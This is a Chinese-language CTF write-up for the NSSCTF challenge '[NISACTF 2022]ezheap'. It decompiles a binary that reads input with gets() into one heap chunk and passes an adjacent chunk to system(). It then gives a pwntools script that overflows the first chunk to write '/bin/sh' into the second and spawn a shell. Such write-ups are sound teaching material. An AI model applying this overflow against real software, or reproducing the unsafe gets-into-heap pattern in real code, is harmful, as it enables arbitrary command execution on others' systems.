NSSCTF [NISACTF 2022]ezheap

2058.[NISACTF 2022]ezheap(堆溢出)

[NISACTF 2022]ezheap

1.准备

2.ida分析

main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{char *command; // [esp+8h] [ebp-10h]char *s; // [esp+Ch] [ebp-Ch]setbuf(stdin, 0);setbuf(stdout, 0);s = (char *)malloc(0x16u);command = (char *)malloc(0x16u);puts("Input:");gets(s);system(command);return 0;
}

这里先创建两个堆块s和command
然后在s有一个输入点，gets函数，存在堆溢出
并在下面有system函数，内容为command块的内容

3.EXP

思路:

这题有堆溢出和system函数，程序最后会运行system函数，内容为command块的内容
所以我们可以通过堆溢出，从s堆块溢出到command块，写入'/bin/sh'，触发连接
通过gdb调试，得到偏移量
在main函数下断点，运行程序
 

一直运行到两个call malloc@plt后，查看堆情况
 

看到这里先要填充28个字节，在给command块一个size值后，就可以在command块填入'/bin/sh'当作它的内容

paylaod=b'a'*28+p32(0x21)+b'/bin/sh\x00'

脚本

from pwn import *
context.log_level = "debug"
# io=remote('node5.anna.nssctf.cn',21394)
io= process('/home/motaly/pwn')
paylaod=b'a'*28+p32(0x21)+b'/bin/sh\x00'
io.sendline(paylaod)
io.interactive()